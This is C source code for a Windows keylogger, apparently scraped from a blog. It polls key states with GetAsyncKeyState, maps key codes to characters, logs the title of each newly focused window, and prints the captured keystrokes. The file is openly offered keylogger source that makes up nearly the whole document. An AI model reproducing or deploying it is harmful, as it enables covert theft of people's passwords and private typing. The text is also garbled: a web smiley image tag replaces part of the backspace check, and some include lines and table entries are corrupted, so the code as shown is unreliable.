#include <windows .h>
#include <stdio .h>
char *LowerCase[]={
"b",
"e",
"[ESC]",
"[F1]",
"[F2]",
"[F3]",
"[F4]",
"[F5]",
"[F6]",
"[F7]",
"[F8]",
"[F9]",
"[F10]",
"[F11]",
"[F12]",
"`",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
"0",
"-",
"=",
"[TAB]",
"q",
"w",
"e",
"r",
"t",
"y",
"u",
"i",
"o",
"p",
"[",
"]",
"a",
"s",
"d",
"f",
"g",
"h",
"j",
"k",
"l",
";",
"'",
"z",
"x",
"c",
"v",
"b",
"n",
"m",
",",
".",
"/",
"\\",
"[CTRL]",
"[WIN]",
" ",
"[WIN]",
"[Print Screen]",
"[Scroll Lock]",
"[Insert]",
"[Home]",
"[PageUp]",
"[Del]",
"[End]",
"[PageDown]",
"[Left]",
"[UP]",
"[Right]",
"[Down]",
"[Num Lock]",
"/",
"*",
"-",
"+",
"0",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
".",
};
char *UpperCase[]={
"b",
"e",
"[ESC]",
"[F1]",
"[F2]",
"[F3]",
"[F4]",
"[F5]",
"[F6]",
"[F7]",
"[F8]",
"[F9]",
"[F10]",
"[F11]",
"[F12]",
"~",
"!",
"@",
"#",
"$",
"%",
"^",
"&",
"*",
"(",
")",
"_",
"+",
"[TAB]",
"Q",
"W",
"E",
"R",
"T",
"Y",
"U",
"I",
"O",
"P",
"{",
"}",
"A",
"S",
"D",
"F",
"G",
"H",
"J",
"K",
"L",
":",
"\"",
"Z",
"X",
"C",
"V",
"B",
"N",
"M",
"< ",
">",
".?",
"|",
"[CTRL]",
"[WIN]",
" ",
"[WIN]",
"[Print Screen]",
"[Scroll Lock]",
"[Insert]",
"[Home]",
"[PageUp]",
"[Del]",
"[End]",
"[PageDown]",
"[Left]",
"[Up]",
"[Right]",
"[Down]",
"[Num Lock]",
"/",
"*",
"-",
"+",
"0",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
".",
};
int SpecialKeys[]={
8,
13,
27,
112,
113,
114,
115,
116,
117,
118,
119,
120,
121,
122,
123,
192,
49,
50,
51,
52,
53,
54,
55,
56,
57,
48,
189,
187,
9,
81,
87,
69,
82,
84,
89,
85,
73,
79,
80,
219,
221,
65,
83,
68,
70,
71,
72,
74,
75,
76,
186,
222,
90,
88,
67,
86,
66,
78,
77,
188,
190,
191,
220,
17,
91,
32,
92,
44,
145,
45,
36,
33,
46,
35,
34,
37,
38,
39,
40,
144,
111,
106,
109,
107,
96,
97,
98,
99,
100,
101,
102,
103,
104,
105,
110,
};
HWND PreviousFocus=NULL;
BOOL IsWindowsFocusChange();
BOOL KeyLogger();
int main()
{
KeyLogger();
return 0;
}
BOOL IsWindowsFocusChange()
{
HWND hFocus = GetForegroundWindow();
BOOL ReturnFlag = FALSE;
if (hFocus != PreviousFocus)
{
PreviousFocus = hFocus;
int WinLeng = GetWindowTextLength(hFocus);
char *WindowCaption = (char*) malloc(sizeof(char) * (WinLeng + 2));
GetWindowText(hFocus,WindowCaption,(WinLeng + 1));
if (strlen(WindowCaption) > 0)
{
printf("\r\nThe Active Windows Title: %s\r\n",WindowCaption);
ReturnFlag=TRUE;
}
free(WindowCaption);
}
return ReturnFlag;
}
BOOL KeyLogger()
{
int bKstate[256] = {0};
int i,x;
char KeyBuffer[600];
int state;
int shift;
memset(KeyBuffer,0,sizeof(KeyBuffer));
while(TRUE)
{
Sleep(8);
if (IsWindowsFocusChange())
{
if (strlen(KeyBuffer) != 0)
{
printf("%s\r\n",KeyBuffer);
memset(KeyBuffer,0,sizeof(KeyBuffer));
}
}
for(i=0;i<95;i++)
{
shift = GetKeyState(VK_SHIFT);
x = SpecialKeys[i];
if (GetAsyncKeyState(x) & 0x8000)
{
if (((GetKeyState(VK_CAPITAL) != 0) && (shift > -1) && (x > 64) && (x < 91)))
{
bKstate[x] = 1;
}
else
if (((GetKeyState(VK_CAPITAL) != 0) && (shift < 0) && (x > 64) && (x < 91)))
{
bKstate[x] = 2;
}
else
if (shift < 0)
{
bKstate[x] = 3;
}
else
bKstate[x] = 4;
}
else
{
if (bKstate[x] != 0)
{
state = bKstate[x];
bKstate[x] = 0;
if (x == <img src="http://tunps.com/wp-includes/images/smilies/icon_cool.gif" alt="8)" class="wp-smiley"> // Back Space Is Detected
{
KeyBuffer[strlen(KeyBuffer) - 1] = 0;
continue;
}
else
if (strlen(KeyBuffer) > 550)
{
printf("%s <buffer Full>",KeyBuffer);
memset(KeyBuffer,0,sizeof(KeyBuffer));
continue;
}
else
if (x == 13)
{
if (strlen(KeyBuffer) == 0)
{
continue;
}
printf("%s<enter>\r\n",KeyBuffer);
memset(KeyBuffer,0,sizeof(KeyBuffer));
continue;
}
else
if ((state%2) == 1)
{
strcat(KeyBuffer,UpperCase[i]);
}
else
if ((state%2) == 0)
{
strcat(KeyBuffer,LowerCase[i]);
}
}
}
}
}
return TRUE;
}
|